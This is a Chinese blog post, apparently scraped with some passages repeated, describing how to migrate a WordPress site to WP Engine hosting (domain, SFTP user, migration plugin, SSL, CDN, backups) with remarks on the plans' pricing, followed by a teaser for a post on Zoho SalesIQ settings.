4、迁移的时候只需配置前面几项,后面可选的可以不填,域名(带www),sftp用户名密码、ip地址,save一下就可以下一步,看到迁移进度条了,总共三个进度条,等全部100%之时,网站便已迁移成功可以打开了。
5、网站的用户名密码将是迁移之前网站的用户名密码
6、接着你可以配置ssl证书,最便宜的空间套餐是只能用空间提供的免费ssl和购买空间提供的rapidssl;
你还可以开启你网站的cdn;配置网站备份backup point以防万一;配置重定向等等;
在WP Engine空间成功开通一个网站后,也算是小小的颠覆了我以往对于网站开通的理解,当然是步骤上而非理念,不过是将步骤简化吧。
可能这就是一个新的趋势吧,所谓创新即将想法付诸于商业。 查看全部
目前WP Engine主机共提供STARTUP、GROWTH、SCALE三款主机方案,都是非常适合用来搭建WordPress网站的。不过需要注意的,WP Engine主机价格却不便宜,最低价格是35美元/月(年付款可赠送2个月免费使用时间)
当然了,我还是不推荐这种主机的,没有操作上的难点,适合服务器小白使用,但是价格高,简言之,拿钱换方便,全自动,所谓全自动,也就是你的所有空间信息、域名信息(因为要绑定域名)也全是被其他人掌握的,你只需小手一点,一切便开始,便结束了。(好吧,这话是违心了)
废话不多说,以下是关于这个WP Engine的使用方法,我把迁移网站需要的一些必要设置列一下(顺序不分先后):
1、add domain (注意带www,我试过不带www,不会自动跳转,即使你解析那www记录添加了也不会跳转)
2、创建sftp 用户
3、wp-site-migrate安装这个插件(我已上传至附近,也可以在官网下载) 需添加你的wp engine登入邮箱、域名(注意带www)、主机ip地址和上一条提到的sftp用户名和密码,然后就可以开始Migrate迁移
4、迁移的时候只需配置前面几项,后面可选的可以不填,域名(带www),sftp用户名密码、ip地址,save一下就可以下一步,看到迁移进度条了,总共三个进度条,等全部100%之时,网站便已迁移成功可以打开了。
5、网站的用户名密码将是迁移之前网站的用户名密码
6、接着你可以配置ssl证书,最便宜的空间套餐是只能用空间提供的免费ssl和购买空间提供的rapidssl;
你还可以开启你网站的cdn;配置网站备份backup point以防万一;配置重定向等等;
在WP Engine空间成功开通一个网站后,也算是小小的颠覆了我以往对于网站开通的理解,当然是步骤上而非理念,不过是将步骤简化吧。
可能这就是一个新的趋势吧,所谓创新即将想法付诸于商业。
zoho salesiq设置时候的一个注意点,设置错误会导致网站报错,影响加载
WordPress • Leo 发表了文章 • 1 个评论 • 139 次浏览 • 2018-12-05 09:14
下图为其中一处关闭logo按钮的地方,总共有两处设置logo的地方,一个是浮动框,一个是内容框
查看全部